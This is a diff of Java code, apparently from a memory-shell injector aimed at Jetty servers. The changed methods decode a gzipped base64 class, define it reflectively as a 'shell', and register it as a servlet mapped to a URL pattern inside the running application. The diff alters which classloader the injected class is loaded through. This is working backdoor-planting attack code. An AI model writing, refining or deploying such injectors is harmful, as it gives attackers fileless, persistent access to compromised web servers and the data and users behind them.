@@ -81,16 +81,24 @@ private List<Object> getContext() throws Exception {
8181 return contexts ;
8282 }
8383
84+ public ClassLoader getWebAppClassLoader (Object context ) throws Exception {
85+ try {
86+ return ((ClassLoader ) invokeMethod (context , "getClassLoader" ));
87+ } catch (Exception e ) {
88+ return ((ClassLoader ) getFieldValue (context , "_classLoader" ));
89+ }
90+ }
91+
8492 @ SuppressWarnings ("all" )
8593 private Object getShell (Object context ) throws Exception {
86- ClassLoader classLoader = context . getClass (). getClassLoader ( );
94+ ClassLoader webAppClassLoader = getWebAppClassLoader ( context );
8795 try {
88- return classLoader .loadClass (getClassName ()).newInstance ();
96+ return webAppClassLoader .loadClass (getClassName ()).newInstance ();
8997 } catch (Exception e ) {
9098 byte [] clazzByte = gzipDecompress (decodeBase64 (getBase64String ()));
9199 Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
92100 defineClass .setAccessible (true );
93- Class <?> clazz = (Class <?>) defineClass .invoke (classLoader , clazzByte , 0 , clazzByte .length );
101+ Class <?> clazz = (Class <?>) defineClass .invoke (webAppClassLoader , clazzByte , 0 , clazzByte .length );
94102 return clazz .newInstance ();
95103 }
96104 }
@@ -103,7 +111,6 @@ public void inject(Object context, Object servlet) throws Exception {
103111 return ;
104112 }
105113
106- ClassLoader classLoader = context .getClass ().getClassLoader ();
107114
108115 String [] classNames = new String []{
109116 "org.eclipse.jetty.servlet.ServletHolder" ,
@@ -114,10 +121,11 @@ public void inject(Object context, Object servlet) throws Exception {
114121 };
115122
116123 Class <?> servletHolderClass = null ;
124+ ClassLoader contextClassLoader = context .getClass ().getClassLoader ();
117125
118126 for (String className : classNames ) {
119127 try {
120- servletHolderClass = context . getClass (). getClassLoader () .loadClass (className );
128+ servletHolderClass = contextClassLoader .loadClass (className );
121129 } catch (ClassNotFoundException ignored ) {
122130 }
123131 }
@@ -129,7 +137,7 @@ public void inject(Object context, Object servlet) throws Exception {
129137 Constructor <?> servletHolderConstructor = servletHolderClass .getDeclaredConstructor ();
130138 servletHolderConstructor .setAccessible (true );
131139 Object servletHolder = servletHolderConstructor .newInstance ();
132- invokeMethod (servletHolder , "setServlet" , new Class []{getServletClass (classLoader )}, new Object []{servlet });
140+ invokeMethod (servletHolder , "setServlet" , new Class []{getServletClass (contextClassLoader )}, new Object []{servlet });
133141 invokeMethod (servletHolder , "setName" , new Class []{String .class }, new Object []{getClassName ()});
134142 invokeMethod (servletHandler , "addServlet" , new Class []{servletHolderClass }, new Object []{servletHolder });
135143 invokeMethod (servletHandler , "addServletWithMapping" , new Class []{servletHolderClass , String .class }, new Object []{servletHolder , getUrlPattern ()});
0 commit comments